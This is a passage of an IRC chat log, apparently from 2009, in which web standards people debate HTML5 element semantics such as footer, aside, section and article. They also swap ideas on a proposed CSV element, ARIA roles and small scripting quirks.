The solution, imo, is to split the structural from the semantic.  For footer, make <footer> an exact counterpart to <header> as merely a grouper, and then take the current <footer> semantics and stuff them into a new element without a misleadingly structural name.  Do the same with <aside> - split it into structural and semantic elements

[15:14:00.0000] <AryehGregor>
Or just ax them all.

[15:14:01.0000] <Binarytales>
whenever I try and think about this i get confused about article and section and my head starts hurting

[15:15:00.0000] <TabAtkins>
Use <section> if the element could reasonably have a heading applied to it.

[15:15:01.0000] <TabAtkins>
Use <article> if the element could be fullscreened and still be useful.

[15:15:02.0000] <TabAtkins>
That's about it.

[15:20:00.0000] <Binarytales>
can both articles and sections have headers and footers?

[15:21:00.0000] <gsnedders>
yeah

[15:22:00.0000] <TabAtkins>
An <article> is just a <section> that would make sense all by its lonesome.

[15:30:00.0000] <Binarytales>
When you really study it this stuff makes sense but it sure isn't obvious

[15:31:00.0000] <gsnedders>
/me wonders how ever much he's going to end up spending on music this month

[15:32:00.0000] <TabAtkins>
Binarytales: I think the spec just needs to have some plain language like that.  It's super easy when you have a good sniff-test.  The problems come only when you're trying to base things purely off of a vague semantic description.

[15:35:00.0000] <Binarytales>
Some of the new elements are just really badly named, authors are going to want to instinctively use them for stuff that they weren't intended for. It's hard though 'cos once you work out the intent of the spec the names kind make sense

[15:39:00.0000] <Binarytales>
maybe <footer> should be called <meta>

[15:39:01.0000] <hober>
we already have one of those

[15:41:00.0000] <cardona507>
hixie - is there still room in the list of 20 for TPAC in november??

[15:41:01.0000] <Hixie>
yep

[15:41:02.0000] <Hixie>
you're a member now?

[15:41:03.0000] <Hixie>
i'll reply to your last e-mail

[15:41:04.0000] <cardona507>
thanks

[15:41:05.0000] <Hixie>
np

[15:42:00.0000] <Binarytales>
Well it seems to me that the intent for <footer> is for the same sort of information that <meta> in the <head> allows - it's just visible data and not hidden data

[15:43:00.0000] <hober>
<meta> is an empty element, and that probably can't be changed. also, <meta> basically means "here's some hidden metadata", both in its <head> usage and it's Microdata usage.

[15:44:00.0000] <TabAtkins>
BinaryTales: Yeah, <meta> is already empty.  Also, normal people don't know what <meta> means.

[15:44:01.0000] <hober>
the intent for <footer> is to contain foot-matter in sectioning elements, hence the desire to change its content model

[15:44:02.0000] <TabAtkins>
I suggest <info>

[15:44:03.0000] <hober>
(instead of renaming it to match its content model)

[15:44:04.0000] <Binarytales>
yeah info works

[15:44:05.0000] <TabAtkins>
hober: I'm for doing both.  Changing its content model, and then renaming the current content model.

[15:44:06.0000] <Binarytales>
hober - surely the content model is more important

[15:45:00.0000] <hober>
I don't think <footer>'s current content model has a compelling use-case, honestly.

[15:46:00.0000] <hober>
like <address>, <footer>-as-currently-defined will likely almost never be used correctly, given the prevalence of "fat footers"

[15:46:01.0000] <Lachy>
TabAtkins, aside was designed to be a sidebar.  The extra uses that are currently illustrated in the spec were added on later, apparently to the detriment of it's initial use case

[15:47:00.0000] <TabAtkins>
Lachy: Then they need to be removed.  If it's meant to be structural, let it be structural.  If it's meant to be semantic, let it be semantic.

[15:48:00.0000] <Lachy>
TabAtkins, I personally don't agree with the extra uses that Hixie made up for it. I don't think they were based on any observations of real world content I'm aware of

[15:48:01.0000] <Binarytales>
i think aside makes more sense now. in most use cases a sidebar is either unrelated or nav or in fact <footer> stuff that happens to be places at the side

[15:48:02.0000] <TabAtkins>
Lachy: pull-quotes with <aside>, yes or no?

[15:49:00.0000] <Lachy>
undecided.

[15:49:01.0000] <hober>
Personally I'd like it if <header> were restricted (insofar as author conformance is concerned) to be the first child of its sectioning element (ignoring whitespace text nodes), and analagously <footer> as the last child

[15:49:02.0000] <Lachy>
IIRC, authors use <blockquote> for pull quotes

[15:49:03.0000] <Lachy>
and some use things like <div class="pullquote">

[15:50:00.0000] <Lachy>
not really sure what's best for it. It's not something I ever do myself

[15:50:01.0000] <TabAtkins>
Indeed.  Problem, though, is that pullquotes are often *not* meant to be read as part of the content.  They're either repeating a quote already present in the article, just to highlight it, or sometimes pulling in quotes from completely different sources that are related-but-tangential.  Commentary, in other words, not content.

[15:51:00.0000] <Lachy>
though I'd probably lean towards that not being an ideal use of aside

[15:51:01.0000] <TabAtkins>
Using just <blockquote> or <div> means that it's supposed to be part of the content.

[15:51:02.0000] <Lachy>
hmm, maybe.

[15:51:03.0000] <TabAtkins>
We had some nice examples yesterday from the BBC website.

[15:51:04.0000] <Binarytales>
the poignant guide is a good example of lots of various asides

[15:52:00.0000] <Lachy>
Binarytales, link?

[15:53:00.0000] <Binarytales>
it might be down... it was one of _why's creation... i'll check

[15:53:01.0000] <Lachy>
Binarytales, is that the one about Ruby?

[15:53:02.0000] <Binarytales>
yeah

[15:54:00.0000] <TabAtkins>
Basically, the current spec text is *completely* about related-but-tangential content within an article, *not* sidebars.  If it ever suggested that it was to be used for sidebars, that implication is long gone now.

[15:54:01.0000] <Lachy>
ok, I'm aware of it, though I haven't read it and can't recall any examples of asides from it

[15:54:02.0000] <Lachy>
TabAtkins, I know. That's a major problem with the spec

[15:55:00.0000] <TabAtkins>
But we like it how it is.  ^_^

[15:55:01.0000] <Lachy>
I don't know what happened to the stuff about sidebars. I'm sure it used to be in there, and it should still e

[15:55:02.0000] <Lachy>
*be

[15:55:03.0000] <TabAtkins>
Can you check commits on a particular section?

[15:55:04.0000] <Lachy>
I think that's difficult

[15:56:00.0000] <TabAtkins>
I think so too.

[15:56:01.0000] <Lachy>
though if you know how to use SVN, feel free to try

[15:56:02.0000] <TabAtkins>
You'd probably want to jump through the diffs until you ran into a change.

[15:56:03.0000] <TabAtkins>
Yeah, I may try after work.

[15:56:04.0000] <Binarytales>
Okay here is another example http://www.quirksmode.org/blog/archives/2009/04/making_time_saf.html

[15:56:05.0000] <Binarytales>
about two thirds of the way down there is an explanation of when Dionysuis think Christ was born

[15:57:00.0000] <Binarytales>
that would be marked up as an <aside>

[15:57:01.0000] <Lachy>
Binarytales, hmm, yeah, I guess

[15:58:00.0000] <TabAtkins>
Yup.  That's the use of <aside> that I'm angling for, that's currently spec-supported.

[15:58:01.0000] <Lachy>
well, we still need sidebars restored in some way

[15:58:02.0000] <Lachy>
or just be stuck with <section>

[16:00:00.0000] <TabAtkins>
The only thing wrong with <section> is that sidebars *are* so common that it probably falls under the same justification as header/footer

[16:00:01.0000] <Lachy>
it kind of sucks to overload the element with two distinct purposes, and it would also suck to have to introduce two separate elements to address each case

[16:00:02.0000] <TabAtkins>
Plus, it would invalidate Hixie's rule of main content being "anything that's not header/footer/aside/nav"

[16:00:03.0000] <Hixie>
what _are_ y'all talking about

[16:01:00.0000] <Binarytales>
Lachy - can you show a use case where us would need a <sidebar> that isn't already served by a current element?

[16:01:01.0000] <Lachy>
Hixie, <aside>

[16:01:02.0000] <Lachy>
Hixie, the fact that it can be used for tangentially related content, and for page sidebars

[16:02:00.0000] <Lachy>
Binarytales, it avoids the need to have to use id="sidebar" or class="sidebar" (or equivalent)

[16:02:01.0000] <Hixie>
"tangentially related content" is semantic-speak for "sidebar"

[16:03:00.0000] <TabAtkins>
BinaryTales: nod to Lachy.  It falls under the same justification as <header> and <footer> - they're *so* common that they can be justified.

[16:03:01.0000] <TabAtkins>
Hixie: I disagree.  ^_^  Plus so do lots of other people, apparently.

[16:03:02.0000] <TabAtkins>
pullquote is tangentially related content.  A digression is tangentially related content.  A blogroll is *not*.  It's just a sidebar.

[16:04:00.0000] <Lachy>
Hixie, as we're discussing, there are two different types of tangentially related content. There's the page side bar, much like you find in, say, the left colum of wikipedia, and there's the kind that Binarytales pointed out in the quirksmode article

[16:05:00.0000] <Hixie>
a blogroll is tangentially related content

[16:05:01.0000] <Hixie>
Lachy: one is tangentially related to an <article>, and the other to the <body>

[16:06:00.0000] <Lachy>
Hixie, either way, the spec needs to be fixed to a) make it clear that such sidebars are a form of tangentially related content, or b) find an alternative solution

[16:06:01.0000] <Hixie>
in what world could a blog's blogroll not be considered related to the blog?

[16:07:00.0000] <TabAtkins>
In the world where you'll still have to use a class to differentiate the two for styling?

[16:07:01.0000] <TabAtkins>
All my "tangent" asides can probably be styled the same, while my sidebar will be completely different.

[16:08:00.0000] <Hixie>
sure

[16:08:01.0000] <Hixie>
article > aside vs body > aside

[16:10:00.0000] <Hixie>
in the HTML5 spec, there are many classes of <aside>s -- .example, .note, .warning, .XXX, the issue markers on the side, the inline issue markers that jgraham inserts, etc

[16:10:01.0000] <Hixie>
they all have different styles

[16:10:02.0000] <TabAtkins>
Yeah, all those are fine asides.

[16:10:03.0000] <TabAtkins>
If you do want sidebars to be <aside>, then you've *got* to edit the spec.  The current examples give a *completely* different impression of the purpose of the element.

[16:12:00.0000] <Lachy>
Hixie, it seems like authors are trying to find and expect to see a clear distinction between elements used for overall page structure, and elements used for smaller sub-sections

[16:12:01.0000] <TabAtkins>
Lachy's got it.

[16:12:02.0000] <Lachy>
so the spec needs to address that issue in some way.

[16:12:03.0000] <Hixie>
if you want more examples, or different examples, file a bug

[16:12:04.0000] <Binarytales>
i think its a context problem with the whole spec itself. nearly all the examples are from the context of a particular set of data. and blog post, an article, etc. There is a lack of example and clarity for the context of the greater context, the whole webpage itself

[16:13:00.0000] <TabAtkins>
There's already 20 or so emails on the subject.  ^_^

[16:13:01.0000] <Lachy>
I'm not sure if examples would address the entire issue, though it would help

[16:13:02.0000] <Hixie>
if there's e-mails, that works too :-)

[16:13:03.0000] <TabAtkins>
The Superfriends got a lot of discussion moving.

[16:14:00.0000] <Lachy>
Hixie, I will think about it and get back to you with, hopefully, a concrete way to address the issue

[16:15:00.0000] <Lachy>
TabAtkins, yeah, the "Superfriends" had some very good, constructive feedback, although some bits are a little misguided

[16:15:01.0000] <Binarytales>
this is fascinating stuff but alas The Wire is on....

[16:15:02.0000] <Hixie>
/me hasn't seen any mail about their feedback

[16:15:03.0000] <Hixie>
did they send that in?

[16:15:04.0000] <Lachy>
but I find it somewhat disturbing that they called themselves the "superfriends"

[16:15:05.0000] <Hixie>
or did my spam filters catch it again

[16:15:06.0000] <TabAtkins>
Hixie: It's been linked.

[16:15:07.0000] <Lachy>
Shelley sent it

[16:15:08.0000] <Binarytales>
http://www.zeldman.com/superfriends/guide/

[16:16:00.0000] <TabAtkins>
"HTML5 feedback from prominent designers" and "Implementor feedback on new elements in HTML5"

[16:16:01.0000] <TabAtkins>
both started yesterday.

[16:16:02.0000] <Hixie>
HTML5 feedback from prominent designers was apple's feedback, no?

[16:16:03.0000] <TabAtkins>
Though the latter was actually started by Maciej.

[16:16:04.0000] <Hixie>
er wait

[16:17:00.0000] <Hixie>
the other one was i mean

[16:17:01.0000] <Lachy>
Hixie, http://lists.w3.org/Archives/Public/public-html/2009Aug/1473.html

[16:17:02.0000] <TabAtkins>
Yeah, but the superfriends stuff got included into the whole discussion.

[16:18:00.0000] <Hixie>
oh, i see, there was no actual feedback in those e-mails except for lachy's e-mail

[16:18:01.0000] <Hixie>
that's why it didn't get logged

[16:19:00.0000] <Lachy>
Hixie, don't you count e-mails that link to actual feedback, like Shelley's did?  Or do you log those pages elsewhere?

[16:20:00.0000] <Hixie>
i didn't save that one because i'm expecting them to actually send the feedback

[16:20:01.0000] <Hixie>
and it's far easier for me to deal with e-mails with feedback than with e-mails with links to feedback

[16:20:02.0000] <Hixie>
since otherwise i have to dig up their e-mail addresses, etc

[16:20:03.0000] <Lachy>
ah, ok

[16:21:00.0000] <Lachy>
I didn't think they would repeat themselves in an e-mail, especially now that the link has already been sent

[16:22:00.0000] <Hixie>
they said they would

[16:23:00.0000] <Hixie>
so...

[16:27:00.0000] <othermaciej>
I think they are planning to post some feedback in email

[16:27:01.0000] <othermaciej>
but it seems worth reading in any case

[16:30:00.0000] <TabAtkins>
I think it would be worthwhile to explicitly talk about the distinction between page-structure and section-content, and then state that some elements (like <aside>) fill both roles.

[16:31:00.0000] <TabAtkins>
Just a quick mention would work; a sentence or so stating that explicitly in <aside>, and again perhaps in <footer> (though the semantics of footer are still utterly inappropriate for the intended structural role, unlike <aside>).

[16:33:00.0000] <TabAtkins>
I'll write up some example text and email it tonight.

[16:47:00.0000] <TabAtkins>
Okay, question: Say I have a sidebar composed of a site-nav, a blogroll, and a favorite quote.  The first is obviously a <nav>, the latter two are <aside>s.  However, I need to wrap the whole thing in a container to get it to sit on the side properly.  This container should be a <div>, right?

[16:47:01.0000] <hober>
no, I think the sidebar itself is the <aside>, and it contains a <nav> and some other stuff

[16:48:00.0000] <Hixie>
<aside> <nav> </nav> <section> </section> <blockquote> </blockquote> </aside>

[16:48:01.0000] <hober>
the blogroll is a <ul> I imagine

[16:49:00.0000] <TabAtkins>
All right.  If I *didn't* need to wrap them together (or explicitly need to *not* wrap them together), would the latter two be <aside>s by themselves?

[16:50:00.0000] <hober>
that would be one way to do it, sure.

[16:50:01.0000] <TabAtkins>
And is the meaning of <nav> changed by being wrapped in an <aside>?

[16:50:02.0000] <TabAtkins>
As opposed to putting a <nav> in a <header> or <footer>, that is.

[16:51:00.0000] <hober>
AFAICT the meaning of <nav> wouldn't change, no

[16:52:00.0000] <hober>
Nothing in #the-nav-element suggests that the semantics of <nav> change based on parentage

[16:52:01.0000] <TabAtkins>
I'm just making sure that it's acceptable to have a bare <nav> acting as a sidebar without <aside>.

[16:52:02.0000] <hober>
if the only thing your sidebar contains is navigation, then that sounds like a fine use of <nav>

[16:54:00.0000] <TabAtkins>
Kk.  I've got no particular problem with this, it's just that when an element is stated as "being for sidebars", I need to make sure that it's not *required* for sidebars.

[16:54:01.0000] <Hixie>
i think your problem here is that you are trying to design your markup around your presentation

[16:54:02.0000] <TabAtkins>
Hixie: I'm actually trying to discover to what extent I can *not* do that.

[16:54:03.0000] <Hixie>
you should write your markup with no CSS at all, and then only once you're completely happy with the markup without styles, open your css file in a text editor :-)

[16:54:04.0000] <TabAtkins>
So then I can suggest spec edits to make it clear to others.

[16:55:00.0000] <TabAtkins>
That's precisely what I already do.  ^_^

[16:55:01.0000] <Hixie>
good :-)

[16:56:00.0000] <TabAtkins>
Dude, you and tantek were my gods when I started webcoding.  You guys were the first blogs I stumbled across that made sense.

[16:57:00.0000] <TabAtkins>
So, would it be *acceptable* to have <div><nav /><aside .blogroll /><aside><blockquote /></aside></div>?  Just trying to ascertain the flexibility that is intended here.

[16:58:00.0000] <hober>
now that pubdate="" is on <time>, I think it would make more sense if it applied to the nearest ancestor <article> element, or <body> if there is no such ancestor

[16:59:00.0000] <TabAtkins>
It already applies to the nearest ancestor <article>.  Applying it to <body> is definitely needed, though, as <body> implies the semantics of <article>.

[16:59:01.0000] <hober>
I'm imagining a page that is just a document, where <body> is the sectioning element that represents the entire document. there's no need to add an <article> descendent that contains all descendents of <body>...

[16:59:02.0000] <TabAtkins>
hober: yeah


2009-09-02
[17:00:00.0000] <hober>
I guess I'll write an email

[17:01:00.0000] <TabAtkins>
/me really wishes he had figured out this <base> business a long time ago, before he started running into difficulties with content moving between paths.

[17:03:00.0000] <Hixie>
TabAtkins: if you find yourself needing <div>, then you're not doing markup before style. :-P

[17:03:01.0000] <TabAtkins>
Hixie: The issue is needing to adjust markup *after* styling fails due to limitations in CSS.

[17:03:02.0000] <Hixie>
ah

[17:03:03.0000] <TabAtkins>
When Template Layout is reliably present I'll be happy.  ^_^

[17:04:00.0000] <TabAtkins>
Yeah, so given an initial design where I have a <nav> and two <aside>s, is it okay to just <div>-wrap them to make them display properly, or do I *need* to <aside>-wrap them instead, and peel off the <aside>s wrapping the individual blocks.

[17:05:00.0000] <hober>
sent (re pubdate="")

[17:05:01.0000] <Hixie>
TabAtkins: if you're adding elements purely for styling purposes, you should use <div>

[17:05:02.0000] <Hixie>
that's what <div> is for

[17:06:00.0000] <TabAtkins>
Yeah, I know, just making sure that, even though there's an element *for* sidebars, it's still cool to collect things into a sidebar without it.

[17:06:01.0000] <TabAtkins>
I have tiny niggling inconsistencies in my brain that I'm ironing out right now.

[17:07:00.0000] <hober>
well, you should always use the element with the closest semantic to your need

[17:07:01.0000] <ttepasse>
The <main>-proposal got shot down, isn't it?

[17:07:02.0000] <tantek>
but not *over* semantic

[17:07:03.0000] <TabAtkins>
At least for now, yeah, ttepasse.

[17:07:04.0000] <hober>
tantek: indeed

[17:08:00.0000] <TabAtkins>
hober: I think tantek captured the point behind my questions.  ^_^

[17:08:01.0000] <tantek>
TabAtkins - I don't like <main> either, but could have settled for <shead>, <sbody>, <sfoot>

[17:08:02.0000] <TabAtkins>
ttepasse: main content is anything that's not <header>/<footer>/<nav>/<aside>

[17:08:03.0000] <tantek>
TabAtkins - I *guarantee* that most web devs will just end up creating a <div class="content"> or something similar to go between <header> and <footer>

[17:09:00.0000] <tantek>
it such a well established markup pattern

[17:09:01.0000] <ttepasse>
?anything that's not <header>, etc.? is not easily adressable by JS oder CSS.

[17:09:02.0000] <TabAtkins>
I do it about 50/50 depending on whether I have styling ned for it.

[17:09:03.0000] <tantek>
in fact, I doubt you would find many class="header" and class="footer" on a page without an intervening class="content" or class="main" etc. (s/class/id as apropos)

[17:10:00.0000] <TabAtkins>
ttepasse: Yeah, I know.  But it's sensical to ATs, frex.

[17:10:01.0000] <tantek>
good point ttepasse

[17:10:02.0000] <ttepasse>
ATs, frex?

[17:10:03.0000] <krijn>
/me joins the discussion

[17:10:04.0000] <TabAtkins>
AT = accessibility, um, I forget what the T is for.  Frex = for example.

[17:10:05.0000] <krijn>
What's it about?

[17:10:06.0000] <tantek>
accessibility tools perhaps

[17:10:07.0000] <TabAtkins>
krijn: Pancakes or waffles: which is better?

[17:10:08.0000] <krijn>
Pancakes!

[17:11:00.0000] <TabAtkins>
Good, you and I will flank the infidels.

[17:11:01.0000] <krijn>
I agree a <main> or <content> thingy would be handy

[17:11:02.0000] <TabAtkins>
Hahahahahaha Myakura.

[17:11:03.0000] <krijn>
Now see what you've done :)

[17:11:04.0000] <tantek>
TabAtkins - is that some sort of subconscious circle vs square preference? or perhaps flat (pancake) vs cellular (waffle)

[17:12:00.0000] <TabAtkins>
I use a <div .main/.middle/.content/.block> for the non-foo stuff whenever I need it for a CSS or JS hook, yeah.

[17:12:01.0000] <krijn>
Me too

[17:12:02.0000] <TabAtkins>
It's about a genital vs oral preference.  Freud was all over this.

[17:12:03.0000] <tantek>
/me prefers waffles because they are better structured to contain maple syrup in the cells.

[17:12:04.0000] <krijn>
Waffles remind me of tables

[17:12:05.0000] <hober>
yes, because the whole purpose of them is to deliver maple syrup (non-sarcastic)

[17:13:00.0000] <krijn>
And tables are evil, it seems

[17:13:01.0000] <tantek>
krijn HTML tables are simply misunderstood ;)

[17:13:02.0000] <krijn>
No, they are evil

[17:13:03.0000] <hober>
krijn: fortunately, maple syrup is tabular data

[17:13:04.0000] <krijn>
According to authors at least :)

[17:13:05.0000] <hober>
so marking it up in a waffle is approprate

[17:13:06.0000] <krijn>
So, concluding, we need a <waffle> tag

[17:14:00.0000] <TabAtkins>
I support this proposal.

[17:14:01.0000] <krijn>
Can we overrule Hixie without discussion already?

[17:14:02.0000] <krijn>
Or are we still not there yet?

[17:14:03.0000] <TabAtkins>
/me delivers his breakfast over the wire.

[17:14:04.0000] <TabAtkins>
Let's vote.

[17:14:05.0000] <TabAtkins>
Aye for <waffle>, nay for <hixie>.

[17:14:06.0000] <krijn>
Aye

[17:14:07.0000] <krijn>
For the record, beer and aye saying don't match

[17:15:00.0000] <TabAtkins>
A <hixie> element ridicules your use of presentational markup.  It's like <audio> but demeaning.

[17:15:01.0000] <beowulf>
someone say waffles?

[17:16:00.0000] <TabAtkins>
Yes, how do waffles relate to the struggle to evangelize semantic markup, and the difficulties contained in keeping your fingers from getting sticky when using <td>s.

[17:18:00.0000] <Hixie>
/me checks the air ducts for contaminants

[17:18:01.0000] <ttepasse>
I hope <hixie> has a textual fallback.

[17:18:02.0000] <krijn>
Oh look, contaminants!

[17:18:03.0000] <krijn>
:)

[17:20:00.0000] <krijn>
Btw, the biggest liquor store in the Netherlands now uses HTML5 for their website \o/

[17:21:00.0000] <TabAtkins>
Woo!  \o/

[17:21:01.0000] <krijn>
In case anybody was waiting for that information

[17:21:02.0000] <krijn>
Thanks everybody in here for making that happen :)

[17:26:00.0000] <krijn>
And before I get to emotional, nn everybody

[17:26:01.0000] <TabAtkins>
later

[17:26:02.0000] <krijn>
o.

[17:27:00.0000] <krijn>
o/

[17:27:01.0000] <ttepasse>
Why are there such strong restriction for permissible aria roles on some elements?

[17:27:02.0000] <ttepasse>
By my reading I can't do <table role="grid main"> or am I wrong?

[17:32:00.0000] <TabAtkins>
Where's that section again?  I can never remember the name of it so I can't find it in the TOC.

[17:33:00.0000] <ttepasse>
3.2.6

[17:36:00.0000] <TabAtkins>
Hmm, so you're saying that the table itself is the main content all by itself?

[17:38:00.0000] <ttepasse>
Yes. Think about a better markuped webserver directory listing. There may be additional stuff like a logo and navigation but the main content is the listing of files and directories.

[17:38:01.0000] <Hixie>
send mail if you think the restrictions should be relaxed

[17:40:00.0000] <tantek>
TabAtkins - the obv use case for a <table> being the main content all by itself is a CSV file that's been transcoded into an HTML <table>

[17:40:01.0000] <TabAtkins>
Yeah, I was thinking something like that.

[17:40:02.0000] <Hixie>
can a role="" take two values btw? i thought it could only take one.

[17:41:00.0000] <TabAtkins>
Well, we've got a use-case for such right here.

[17:41:01.0000] <ttepasse>
/xhtml-role/ has even an example with two, so yes.

[17:41:02.0000] <TabAtkins>
A combination of a type and landmark role.

[17:41:03.0000] <tantek>
in fact, I wouldn't mind seeing a <csv> ... </csv> element that acted like a <pre> except 1. parsed for the comma separation and implied columns accordingly, and 2. provided a DOM similar to <table> for accessing all the rows and columns. 

[17:41:04.0000] <TabAtkins>
...

[17:42:00.0000] <TabAtkins>
I must code support for this tonight.

[17:42:01.0000] <Hixie>
i wonder what the UA conformance criteria are for two roles

[17:42:02.0000] <tantek>
This would rapidly accelerate the "webification" of the numerous CSV files out there (more and more being published due to OpenGov and OpenScience) efforts

[17:42:03.0000] <Hixie>
i don't understand what it would mean

[17:44:00.0000] <hober>
ttepasse: keep in mind that aria's role="" isn't the same attribute as the xhtml2wg role attribute spec

[17:44:01.0000] <tantek>
hober, thank goodness.

[17:44:02.0000] <ttepasse>
Oh it is?

[17:44:03.0000] <hober>
tantek: :) srsly people, we already got one (class="")

[17:44:04.0000] <ttepasse>
There should be a "/TR/ for dummies" tutorial.

[17:46:00.0000] <ttepasse>
Hixie, http://www.w3.org/TR/2009/WD-wai-aria-implementation-20090224/#mapping_role

[17:47:00.0000] <tantek>
/me adds <csv> to the list of (perhaps crazy) proposals he has to write up for HTML5.

[17:47:01.0000] <Hixie>
ok so basically they allow it and then immediately say it's pointless

[17:47:02.0000] <Hixie>
good work

[17:48:00.0000] <tantek>
Hixie, of course, there's nothing like that in the HTML5 spec, <cough>img border="0"</cough>

[17:48:01.0000] <tantek>
;)

[17:51:00.0000] <ttepasse>
?Because landmarks do not generally have mappings in platform accessibility APIs, they may occur anywhere within the role string without affecting how the first widget role is exposed.? ... sounds like my <table role="grid main"> is not so pointless but makes me wonder what landmarks are for. Custom UI in UAs?

[17:51:01.0000] <Hixie>
tantek: blame hsivonen, i hate that as much

[17:52:00.0000] <tantek>
Hixie - is there "blame" markup in the HTML5 spec? Kind of like blame in CVS...

[17:53:00.0000] <Hixie>
svn blame blames me for everything, but at least one of the checkin comments says "blame: hs" :-)

[17:55:00.0000] <Hixie>
btw, tantek, any idea when zeldman and co are sending their feedback in?

[17:57:00.0000] <Hixie>
tantekc: btw, any idea when zeldman and co are sending their feedback in?

[17:57:01.0000] <tantekc>
Hixie, I believe we are all taking bits and pieces of http://www.zeldman.com/superfriends/guide/ and emailing them in - hence the "we are optimistic that the official channels provided by the working group will offer a sufficient and fair hearing of our concerns"

[17:57:02.0000] <tantekc>
Hixie, I believe we are all taking bits and pieces of http://www.zeldman.com/superfriends/guide/ and emailing them in - hence the "we are optimistic that the official channels provided by the working group will offer a sufficient and fair hearing of our concerns"

[17:57:03.0000] <Hixie>
k

[17:58:00.0000] <Hixie>
any idea what the time frame on that is?

[17:58:01.0000] <tantekc>
As you know, I prefer to document things on the web first, and then email in URLs.

[17:58:02.0000] <tantekc>
timeframe: as soon as possible

[17:58:03.0000] <Hixie>
if you could mail in text, that would make my life much easier, fwiw

[17:58:04.0000] <tantekc>
ok I will mention that you prefer plain text email

[17:58:05.0000] <Hixie>
thanks

[17:59:00.0000] <tantekc>
Hixie, have you documented your Communication Preferences anywhere online? E.g. http://tr.im/comms

[17:59:01.0000] <tantekc>
if you have, please give me the URL and I will happily link to it

[17:59:02.0000] <Hixie>
tantekc: "Comments are very welcome, please send them to whatwg⊙wo Thank you."

[17:59:03.0000] <Hixie>
(top of the spec)

[17:59:04.0000] <tantekc>
I meant in general, your personal prefs.

[18:00:00.0000] <tantekc>
because obviously you eventually look at bugs filed, blog posts, blog post comments etc.

[18:00:01.0000] <tantekc>
(perhaps not guaranteed, but that seems to be the emergent behavior)

[18:00:02.0000] <Hixie>
oh you mean in general? no, no preferred communication style.

[18:01:00.0000] <Hixie>
i have an antipreference for phone communication and anything involving burning gasoline or going through TSA checkpoints

[18:01:01.0000] <tantekc>
so the only communication preference you have has to do with the HTML5 project

[18:01:02.0000] <Hixie>
yeah

[18:01:03.0000] <Hixie>
well, i mean, my preferences are specific to whatever i'm doing

[18:01:04.0000] <tantekc>
you've written up a scathing deconstruction of telcons for example (most of which I agree with)

[18:01:05.0000] <Hixie>
(i have a preference for HTML5, simply because there are certain things that are easier to dealing with)

[18:01:06.0000] <Hixie>
i wrote an e-mail recently... let's see

[18:02:00.0000] <tantekc>
anyway - it might be useful to see them in an ordered list

[18:02:01.0000] <tantekc>
with perhaps a threshold for, -- below this point I will avoid these forms of communication --

[18:02:02.0000] <Hixie>
http://lists.w3.org/Archives/Public/public-html/2009Jun/0616.html

[18:02:03.0000] <tantekc>
and then you can list phone, f2f, flying etc.

[18:03:00.0000] <tantekc>
yeah that one - I read it.

[18:03:01.0000] <tantekc>
a good write up

[18:03:02.0000] <Hixie>
e-mail, irc, jabber, aim, msn, yahoo messenger; twitter, blogs; forums i have to register for; meetings. I don't have a phone.

[18:03:03.0000] <Hixie>
where ";" indicates a threshold, so all things between ; are equally ok

[18:04:00.0000] <TabAtkins>
tantekc: http://www.xanthir.com/etc/csv.html

[18:04:01.0000] <tantekc>
anyway - g2g, but just wanted say thanks Hixie for already fixing a bunch of stuff in HTML5 that Zeldman et al gave feedback on (e.g. the "HTML5" vs. "HTML 5" inconsistency) - pretty much all that feedback was a consensus result of the "HTML5 Super Friends"

[18:04:02.0000] <TabAtkins>
Not perfect yet - I need to copy over all attributes of the original <csv> element - but still, working!

[18:05:00.0000] <tantekc>
TabAtkins - WHOA! that is super cool

[18:05:01.0000] <TabAtkins>
Super easy.  ^_^

[18:05:02.0000] <tantekc>
I might wrap the <csv> in a <pre> for backward compat display

[18:06:00.0000] <TabAtkins>
Would be fine - you sorta expect csvs to be fixed-width anyway.

[18:06:01.0000] <tantekc>
right

[18:06:02.0000] <tantekc>
or maybe just use a style sheet

[18:06:03.0000] <tantekc>
csv {whitespace:pre}

[18:06:04.0000] <tantekc>
that ought to do it

[18:06:05.0000] <TabAtkins>
Yeah, that'd work.

[18:07:00.0000] <tantekc>
TabAtkins - want to collaborate on a joint <csv> proposal submission for HTML5?

[18:07:01.0000] <tantekc>
like I said, g2g now, but I can start drafting something based on the above

[18:07:02.0000] <TabAtkins>
Note - that would make the original CSV, and presumably a native CSV, look pre, but wouldn't affect the js-shim csv.

[18:07:03.0000] <TabAtkins>
Sure, tantekc.

[18:09:00.0000] <tantekc>
scientists will *love* <csv> for easily publishing data sets on the web

[18:09:01.0000] <tantekc>
this is going to be a big enabler for open science on today's web. (my current thoughts: http://tr.im/openscience )

[18:09:02.0000] <TabAtkins>
Heh, cool.

[18:13:00.0000] <TabAtkins>
So, how do I iterate through a DOM Node's attributes?

[18:13:01.0000] <TabAtkins>
node.namedNodeMap()?

[18:16:00.0000] <othermaciej>
node.attributes

[18:17:00.0000] <othermaciej>
(or really, element.attributes)

[18:17:01.0000] <TabAtkins>
Since I program in jQuery, not js, does that return an array?  Or some exotic DOM structure?  If the latter, how do I iterate through it?

[18:18:00.0000] <Binarytales>
i think it's an array

[18:18:01.0000] <TabAtkins>
It looks like it at least acts like one.  $.each() can handle anything with .length

[18:19:00.0000] <othermaciej>
it's a NamedNodeMap; I don

[18:19:01.0000] <othermaciej>
't know about jQuery details

[18:19:02.0000] <TabAtkins>
/me is testing

[18:22:00.0000] <TabAtkins>
All right, got it.  Yeah, $.each() handles it fine.

[18:24:00.0000] <TabAtkins>
Though I should probably translate this to plain DOM...

[18:25:00.0000] <TabAtkins>
I need to go look at what jQuery actually does for each of these functions so I can back-translate.

[18:35:00.0000] <TabAtkins>
Hrm, does IE treat linebreaks funny?  I'm trying to do a .split("\n"), but it's a no-go in IE.  Perhaps auto-translating to \r\n?

[18:35:01.0000] <TabAtkins>
Context: textContent of an unknown element, hacked into recognition with the document.createElement shim.

[18:36:00.0000] <GPHemsley>
TabAtkins: That sounds familiar, but I can't say more than that.

[18:36:01.0000] <TabAtkins>
Hm, doesn't seem to help.

[18:36:02.0000] <GPHemsley>
:P

[18:36:03.0000] <GPHemsley>
hey hey!

[18:36:04.0000] <TabAtkins>
Not you.  ^_^  Changing to .split("\r\n") doesn't help.

[18:37:00.0000] <GPHemsley>
oh, heh

[18:48:00.0000] <TabAtkins>
Okay, IE does newline normalization immediately, unless it has white-space:pre.

[18:48:01.0000] <TabAtkins>
So I got the newlines, now I'm just trying to figure out how to split by them...

[19:02:00.0000] <dpranke>
hixie / anyone : is there a reason why <select>, <input type="range">, and <input type="number"> don't support the "readonly" attribute?

[19:02:01.0000] <Hixie>
type=number does

[19:03:00.0000] <Hixie>
<select>, <input type=range>, <input type=radio>, <button>, etc, don't, because they're not text fields.

